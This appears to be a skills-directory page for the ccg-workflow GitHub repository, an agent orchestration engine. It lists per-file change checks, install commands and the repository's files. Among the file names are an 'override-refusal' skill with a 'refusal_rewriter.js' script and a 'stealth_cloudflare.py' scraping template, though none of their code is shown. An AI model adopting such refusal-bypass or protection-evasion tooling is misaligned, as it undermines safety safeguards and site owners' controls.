#250 by GitHub stars

fengshao1227/ccg-workflow

多模型协作工作流引擎 — /ccg:go 一个命令,AI 自动分析意图、选择策略、编排 Codex + Gemini + Claude 协作执行

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

dsh-ccg/skills/ccg-workflow/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

dsh-ccg/skills/gen-docs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

dsh-ccg/skills/verify-change/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

dsh-ccg/skills/verify-module/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

dsh-ccg/skills/verify-quality/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

dsh-ccg/skills/verify-security/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/adsense-site-auditor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/bt-panel/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/ai/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/architecture/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/data-engineering/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/devops/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/frontend-design/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/frontend-design/claymorphism/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/frontend-design/glassmorphism/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/frontend-design/liquid-glass/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/frontend-design/neubrutalism/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/infrastructure/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/mobile/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/orchestration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/security/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/domains/seo/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/adapt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/animate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/arrange/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/audit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/bolder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/clarify/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/colorize/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/critique/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/delight/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/distill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/extract/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/harden/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/normalize/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/onboard/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/optimize/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/overdrive/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/polish/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/quieter/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/teach-impeccable/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/impeccable/typeset/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/orchestration/multi-agent/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/scrapling/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/seo-page-builder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/tools/gen-docs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/tools/override-refusal/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/tools/verify-change/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/tools/verify-module/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/tools/verify-quality/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

templates/skills/tools/verify-security/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

51b1e0094317 → 2f12cc5f7862

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 51b1e0094317

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 2f12cc5f7862437e46ff498ad844ca62c65e77aa

git clone --filter=blob:none --no-checkout https://github.com/fengshao1227/ccg-workflow.git .hotskills/fengshao1227-ccg-workflow && git -C .hotskills/fengshao1227-ccg-workflow checkout --detach 2f12cc5f7862437e46ff498ad844ca62c65e77aa # Copy each selected skill directory from .hotskills/fengshao1227-ccg-workflow into .claude/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/fengshao1227/ccg-workflow.git .hotskills/fengshao1227-ccg-workflow && git -C .hotskills/fengshao1227-ccg-workflow checkout --detach 2f12cc5f7862437e46ff498ad844ca62c65e77aa # Copy each selected skill directory from .hotskills/fengshao1227-ccg-workflow into .agents/skills/<skill-name>/
6kGitHub stars
22stars in 7 days
53skills in this repository
6commits in 30 days

Heat

4.2
  • Star growth, last 7 daysAhead of 66% of tracked repositories
  • Star growth, last 24 hoursAhead of 5% of tracked repositories
  • Rank movement, last 7 daysAhead of 38% of tracked repositories
  • Commits, last 30 daysAhead of 72% of tracked repositories
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekAhead of 0% of tracked repositories

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Aug 2, 2026Nov 6, 20265,978

Individual skills in this repository

How it works

ccg-workflow

When your agent uses it

How to run a non-trivial change end to end with the CCG role tools (ccg_analyze / ccg_design / ccg_build / ccg_debug / ccg_optimize / ccg_review / ccg_test) and the verify-* quality gates. Use when a task is a whole feature, a refactor, a bug whose cause is not yet known, or any change large enough that one straight-through attempt would be a guess.

What it loads into context

Frontmatter

101 tokens

Always available to the agent

SKILL.md

2,145 tokens

When the skill is activated

Reference documents

179,328 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Picking a gear
  2. The loop
  3. Writing a brief
  4. The quality gates
  5. What stays with you
  6. Running them in parallel
  7. Running a team
  8. What to write down

Scripts executed separately

  • ../../../templates/skills/bt-panel/bt_client.py
  • ../../../templates/skills/bt-panel/bt_deploy.py
  • ../../../templates/skills/run_skill.js
  • ../../../templates/skills/scrapling/templates/basic_fetch.py
  • ../../../templates/skills/scrapling/templates/parse_only.py
  • ../../../templates/skills/scrapling/templates/session_login.py
  • ../../../templates/skills/scrapling/templates/stealth_cloudflare.py
  • ../../../templates/skills/seo-page-builder/scripts/onpage-audit.py
  • ../../../templates/skills/tools/gen-docs/scripts/doc_generator.js
  • ../../../templates/skills/tools/lib/shared.js
  • ../../../templates/skills/tools/override-refusal/scripts/refusal_rewriter.js
  • ../../../templates/skills/tools/verify-change/scripts/change_analyzer.js
  • ../../../templates/skills/tools/verify-module/scripts/module_scanner.js
  • ../../../templates/skills/tools/verify-quality/scripts/quality_checker.js
  • ../../../templates/skills/tools/verify-security/scripts/security_scanner.js

Files

  • ../../../.claude-plugin/marketplace.jsonasset870 bytes
  • ../../../.claude-plugin/plugin.jsonasset869 bytes
  • SKILL.mdcore9,118 bytes
  • ../../../templates/codex/hooks.jsonasset244 bytes
  • ../../../templates/codex/hooks.jsonasset244 bytes
  • ../../../templates/skills/SKILL.mddoc3,243 bytes
  • ../../../templates/skills/adsense-site-auditor/SKILL.mddoc4,290 bytes
  • ../../../templates/skills/adsense-site-auditor/agents/openai.yamlasset216 bytes
  • ../../../templates/skills/adsense-site-auditor/references/adsense-requirements.mddoc18,252 bytes
  • ../../../templates/skills/adsense-site-auditor/references/usage-prompts.mddoc3,293 bytes
  • ../../../templates/skills/bt-panel/SKILL.mddoc9,470 bytes
  • ../../../templates/skills/bt-panel/bt_client.pyruns32,382 bytes
  • ../../../templates/skills/bt-panel/bt_deploy.pyruns12,791 bytes
  • ../../../templates/skills/bt-panel/references/api-reference.mddoc8,592 bytes
  • ../../../templates/skills/bt-panel/references/recipes.mddoc8,305 bytes
  • ../../../templates/skills/bt-panel/sites.example.jsonasset1,574 bytes
  • ../../../templates/skills/domains/ai/SKILL.mddoc1,029 bytes
  • ../../../templates/skills/domains/ai/agent-dev.mddoc5,441 bytes
  • ../../../templates/skills/domains/ai/llm-security.mddoc7,012 bytes
  • ../../../templates/skills/domains/ai/prompt-and-eval.mddoc8,007 bytes
  • ../../../templates/skills/domains/ai/rag-system.mddoc15,012 bytes
  • ../../../templates/skills/domains/architecture/SKILL.mddoc1,112 bytes
  • ../../../templates/skills/domains/architecture/api-design.mddoc3,731 bytes
  • ../../../templates/skills/domains/architecture/caching.mddoc6,590 bytes
  • ../../../templates/skills/domains/architecture/cloud-native.mddoc5,140 bytes
  • ../../../templates/skills/domains/architecture/message-queue.mddoc7,467 bytes
  • ../../../templates/skills/domains/architecture/security-arch.mddoc7,780 bytes
  • ../../../templates/skills/domains/data-engineering/SKILL.mddoc8,200 bytes
  • ../../../templates/skills/domains/development/SKILL.mddoc1,231 bytes
  • ../../../templates/skills/domains/development/cpp.mddoc4,844 bytes
  • ../../../templates/skills/domains/development/go.mddoc5,904 bytes
  • ../../../templates/skills/domains/development/java.mddoc6,839 bytes
  • ../../../templates/skills/domains/development/python.mddoc6,017 bytes
  • ../../../templates/skills/domains/development/rust.mddoc6,001 bytes
  • ../../../templates/skills/domains/development/shell.mddoc5,539 bytes
  • ../../../templates/skills/domains/development/typescript.mddoc5,934 bytes
  • ../../../templates/skills/domains/devops/SKILL.mddoc1,232 bytes
  • ../../../templates/skills/domains/devops/cost-optimization.mddoc6,431 bytes
  • ../../../templates/skills/domains/devops/database.mddoc4,280 bytes
  • ../../../templates/skills/domains/devops/devsecops.mddoc4,071 bytes
  • ../../../templates/skills/domains/devops/git-workflow.mddoc3,779 bytes
  • ../../../templates/skills/domains/devops/observability.mddoc7,277 bytes
  • ../../../templates/skills/domains/devops/performance.mddoc7,918 bytes
  • ../../../templates/skills/domains/devops/testing.mddoc6,430 bytes
  • ../../../templates/skills/domains/frontend-design/SKILL.mddoc13,617 bytes
  • ../../../templates/skills/domains/frontend-design/agents/openai.yamlasset227 bytes
  • ../../../templates/skills/domains/frontend-design/claymorphism/SKILL.mddoc2,920 bytes
  • ../../../templates/skills/domains/frontend-design/claymorphism/references/tokens.cssasset1,521 bytes
  • ../../../templates/skills/domains/frontend-design/component-patterns.mddoc3,738 bytes
  • ../../../templates/skills/domains/frontend-design/engineering.mddoc7,384 bytes
  • ../../../templates/skills/domains/frontend-design/glassmorphism/SKILL.mddoc3,685 bytes
  • ../../../templates/skills/domains/frontend-design/glassmorphism/references/tokens.cssasset886 bytes
  • ../../../templates/skills/domains/frontend-design/liquid-glass/SKILL.mddoc3,754 bytes
  • ../../../templates/skills/domains/frontend-design/liquid-glass/references/tokens.cssasset2,130 bytes
  • ../../../templates/skills/domains/frontend-design/neubrutalism/SKILL.mddoc3,238 bytes
  • ../../../templates/skills/domains/frontend-design/neubrutalism/references/tokens.cssasset1,043 bytes
  • ../../../templates/skills/domains/frontend-design/reference/color-and-contrast.mddoc5,291 bytes
  • ../../../templates/skills/domains/frontend-design/reference/interaction-design.mddoc7,085 bytes
  • ../../../templates/skills/domains/frontend-design/reference/motion-design.mddoc4,753 bytes
  • ../../../templates/skills/domains/frontend-design/reference/responsive-design.mddoc3,464 bytes
  • ../../../templates/skills/domains/frontend-design/reference/spatial-design.mddoc3,545 bytes
  • ../../../templates/skills/domains/frontend-design/reference/typography.mddoc5,962 bytes
  • ../../../templates/skills/domains/frontend-design/reference/ux-writing.mddoc4,330 bytes
  • ../../../templates/skills/domains/frontend-design/state-management.mddoc15,552 bytes
  • ../../../templates/skills/domains/frontend-design/ui-aesthetics.mddoc2,985 bytes
  • ../../../templates/skills/domains/frontend-design/ux-principles.mddoc3,369 bytes
  • ../../../templates/skills/domains/infrastructure/SKILL.mddoc7,556 bytes
  • ../../../templates/skills/domains/mobile/SKILL.mddoc8,731 bytes
  • ../../../templates/skills/domains/orchestration/SKILL.mddoc915 bytes
  • ../../../templates/skills/domains/orchestration/multi-agent.mddoc7,696 bytes
  • ../../../templates/skills/domains/security/SKILL.mddoc3,155 bytes
  • ../../../templates/skills/domains/security/blue-team.mddoc12,133 bytes
  • ../../../templates/skills/domains/security/code-audit.mddoc7,556 bytes
  • ../../../templates/skills/domains/security/pentest.mddoc7,138 bytes
  • ../../../templates/skills/domains/security/red-team.mddoc9,191 bytes
  • ../../../templates/skills/domains/security/threat-intel.mddoc10,432 bytes
  • ../../../templates/skills/domains/security/vuln-research.mddoc6,833 bytes
  • ../../../templates/skills/domains/seo/SKILL.mddoc817 bytes
  • ../../../templates/skills/domains/seo/seo-growth.mddoc19,549 bytes
  • ../../../templates/skills/impeccable/adapt/SKILL.mddoc7,136 bytes
  • ../../../templates/skills/impeccable/animate/SKILL.mddoc7,660 bytes
  • ../../../templates/skills/impeccable/arrange/SKILL.mddoc7,409 bytes
  • ../../../templates/skills/impeccable/audit/SKILL.mddoc7,662 bytes
  • ../../../templates/skills/impeccable/bolder/SKILL.mddoc6,729 bytes
  • ../../../templates/skills/impeccable/clarify/SKILL.mddoc6,768 bytes
  • ../../../templates/skills/impeccable/colorize/SKILL.mddoc6,876 bytes
  • ../../../templates/skills/impeccable/critique/SKILL.mddoc11,174 bytes
  • ../../../templates/skills/impeccable/critique/reference/cognitive-load.mddoc4,826 bytes
  • ../../../templates/skills/impeccable/critique/reference/heuristics-scoring.mddoc8,934 bytes
  • ../../../templates/skills/impeccable/critique/reference/personas.mddoc7,138 bytes
  • ../../../templates/skills/impeccable/delight/SKILL.mddoc10,009 bytes
  • ../../../templates/skills/impeccable/distill/SKILL.mddoc6,234 bytes
  • ../../../templates/skills/impeccable/extract/SKILL.mddoc3,956 bytes
  • ../../../templates/skills/impeccable/harden/SKILL.mddoc9,064 bytes
  • ../../../templates/skills/impeccable/normalize/SKILL.mddoc4,199 bytes
  • ../../../templates/skills/impeccable/onboard/SKILL.mddoc8,337 bytes
  • ../../../templates/skills/impeccable/optimize/SKILL.mddoc7,794 bytes
  • ../../../templates/skills/impeccable/overdrive/SKILL.mddoc9,721 bytes
  • ../../../templates/skills/impeccable/polish/SKILL.mddoc8,112 bytes
  • ../../../templates/skills/impeccable/quieter/SKILL.mddoc5,128 bytes
  • ../../../templates/skills/impeccable/teach-impeccable/SKILL.mddoc2,811 bytes
  • ../../../templates/skills/impeccable/typeset/SKILL.mddoc5,781 bytes
  • ../../../templates/skills/orchestration/multi-agent/SKILL.mddoc16,623 bytes
  • ../../../templates/skills/run_skill.jsruns3,615 bytes
  • ../../../templates/skills/scrapling/SKILL.mddoc3,753 bytes
  • ../../../templates/skills/scrapling/references/api-quick-ref.mddoc3,454 bytes
  • ../../../templates/skills/scrapling/references/cookie-vault.mddoc1,392 bytes
  • ../../../templates/skills/scrapling/references/maintenance.mddoc2,410 bytes
  • ../../../templates/skills/scrapling/references/site-patterns.mddoc3,342 bytes
  • ../../../templates/skills/scrapling/references/troubleshooting.mddoc3,219 bytes
  • ../../../templates/skills/scrapling/templates/basic_fetch.pyruns527 bytes
  • ../../../templates/skills/scrapling/templates/parse_only.pyruns488 bytes
  • ../../../templates/skills/scrapling/templates/session_login.pyruns717 bytes
  • ../../../templates/skills/scrapling/templates/stealth_cloudflare.pyruns677 bytes
  • ../../../templates/skills/seo-page-builder/AGENTS.mddoc4,073 bytes
  • ../../../templates/skills/seo-page-builder/SKILL.mddoc5,935 bytes
  • ../../../templates/skills/seo-page-builder/references/AGENTS.mddoc4,176 bytes
  • ../../../templates/skills/seo-page-builder/references/feature-page-seo.mddoc17,905 bytes
